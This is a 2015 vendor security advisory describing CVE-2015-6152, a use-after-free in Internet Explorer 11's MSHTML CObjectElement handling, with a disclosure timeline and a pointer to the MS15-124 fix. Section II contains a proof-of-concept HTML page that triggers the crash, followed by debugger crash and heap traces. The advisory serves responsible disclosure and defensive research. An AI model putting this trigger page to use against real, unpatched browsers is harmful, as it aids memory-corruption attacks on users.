Blue Frost Security GmbH
https://www.bluefrostsecurity.de/ research(at)bluefrostsecurity.de
BFS-SA-2015-003 10-December-2015
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Vendor: Microsoft, http://www.microsoft.com
Affected Products: Internet Explorer
Affected Version: IE 11
Vulnerability: MSHTML!CObjectElement Use-After-Free Vulnerability
CVE ID: CVE-2015-6152
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I. Impact
This vulnerability allows the execution of arbitrary code on vulnerable
installations of Microsoft Internet Explorer. User interaction is required to
exploit this vulnerability in that the target must visit a malicious page or
open a malicious file.
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II. Vulnerability Details
Microsoft Internet Explorer 11 is prone to a use-after-free vulnerability in
the MSHTML!CTreeNode::ComputeFormatsHelper function. The analysis was performed
on Internet Explorer 11 running on Windows 7 SP1 (x64).
The following HTML page can be used to reproduce the issue:
<!DOCTYPE HTML>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<style>
small{ -ms-block-progression: lr; -ms-filter: "vv"; }
</style>
<script>
function trigger() { document.execCommand("JustifyLeft"); }
</script>
<nolayer>blue<small>frost</small>
<applet><tt>security</applet>
<script>trigger();</script>
</html>
With page heap enabled and the Memory Protect feature turned off, visiting
that page results in the following crash:
(2d4.830): Access violation - code c0000005 (!!! second chance !!!)
eax=09b09e90 ebx=125b4e60 ecx=00000000 edx=6e9fedf0 esi=0f552fa0 edi=0f552fa0
eip=6dfcc19b esp=097fb520 ebp=097fc1f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
MSHTML!CTreeNode::ComputeFormatsHelper+0x53:
6dfcc19b f7402400000300 test dword ptr [eax+24h],30000h ds:002b:09b09eb4=????????
0:007> !heap -p -a @eax
address 09b09e90 found in
_DPH_HEAP_ROOT @ 9b01000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
9b01f04: 9b09000 2000
748090b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77e61b1c ntdll!RtlDebugFreeHeap+0x0000002f
77e1ae8a ntdll!RtlpFreeHeap+0x0000005d
77dc2b65 ntdll!RtlFreeHeap+0x00000142
758814ad kernel32!HeapFree+0x00000014
6d92d219 MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x00000122
6dc46583 MSHTML!CObjectElement::`vector deleting destructor'+0x00000023
6dfce0db MSHTML!CElement::PrivateRelease+0x0000027e
6d98953d MSHTML!CObjectElement::DeferredFallback+0x0000033d
6d96e1b3 MSHTML!GlobalWndOnMethodCall+0x0000017b
6d95577e MSHTML!GlobalWndProc+0x0000012e
770762fa user32!InternalCallWinProc+0x00000023
77076d3a user32!UserCallWinProcCheckWow+0x00000109
770777c4 user32!DispatchMessageWorker+0x000003bc
7707788a user32!DispatchMessageW+0x0000000f
6ebfa7b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
6ec38de8 IEFRAME!LCIETab_ThreadProc+0x000003e7
76a9e81c iertutil!CMemBlockRegistrar::_LoadProcs+0x00000067
747b4b01 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
7588336a kernel32!BaseThreadInitThunk+0x0000000e
77dc9882 ntdll!__RtlUserThreadStart+0x00000070
77dc9855 ntdll!_RtlUserThreadStart+0x0000001b
We can see that a freed CObjectElement object is accessed in the
MSHTML!CTreeNode::ComputeFormatsHelper function. If we take a look at the
memory just before the CObjectElement destructor is called, we can see where
the object was initially allocated.
0:007> bu MSHTML!CObjectElement::~CObjectElement
0:007> g
Breakpoint 0 hit
eax=6daf6b10 ebx=00000000 ecx=0980de90 edx=0f834bb0 esi=0980de90 edi=094bc324
eip=6dc4658f esp=094bc310 ebp=094bc318 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000287
MSHTML!CObjectElement::~CObjectElement:
0:007> !heap -p -a poi(@esp+4)
address 09b09e90 found in
_DPH_HEAP_ROOT @ 9b01000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
9b01f04: 9b09e90 170 - 9b09000 2000
MSHTML!CObjectElement::`vftable'
74808e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77e6134e ntdll!RtlDebugAllocateHeap+0x00000030
77e1b16e ntdll!RtlpAllocateHeap+0x000000c4
77dc2fe3 ntdll!RtlAllocateHeap+0x0000023a
6daf6a27 MSHTML!CObjectElement::CreateElement+0x00000017
6e0423a4 MSHTML!CHtmParse::ParseBeginTag+0x000000b8
6df17172 MSHTML!CHtmParse::ParseToken+0x00000096
6df16a0f MSHTML!CHtmPost::ProcessTokens+0x000004c7
6dd8341b MSHTML!CHtmPost::Exec+0x00000207
6da308a8 MSHTML!CHtmPost::Run+0x0000003d
6da3080e MSHTML!PostManExecute+0x00000061
6da2727c MSHTML!PostManResume+0x0000007b
6da971f0 MSHTML!CDwnChan::OnMethodCall+0x0000002f
6d96e1b3 MSHTML!GlobalWndOnMethodCall+0x0000017b
6d95577e MSHTML!GlobalWndProc+0x0000012e
770762fa user32!InternalCallWinProc+0x00000023
77076d3a user32!UserCallWinProcCheckWow+0x00000109
770777c4 user32!DispatchMessageWorker+0x000003bc
7707788a user32!DispatchMessageW+0x0000000f
6ebfa7b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
6ec38de8 IEFRAME!LCIETab_ThreadProc+0x000003e7
76a9e81c iertutil!CMemBlockRegistrar::_LoadProcs+0x00000067
747b4b01 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
7588336a kernel32!BaseThreadInitThunk+0x0000000e
77dc9882 ntdll!__RtlUserThreadStart+0x00000070
77dc9855 ntdll!_RtlUserThreadStart+0x0000001b
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III. Mitigation
The issue was fixed in MS15-124 which should be installed to resolve the issue.
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IV. Disclosure Timeline
- 2015-08-04 Vulnerability reported to secure@microsoft.com
- 2015-09-24 Microsoft confirms that they successufully reproduced the issue
- 2015-12-08 Microsoft resolves issue in MS15-124
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Credit:
Bug found by Moritz Jodeit of Blue Frost Security GmbH.
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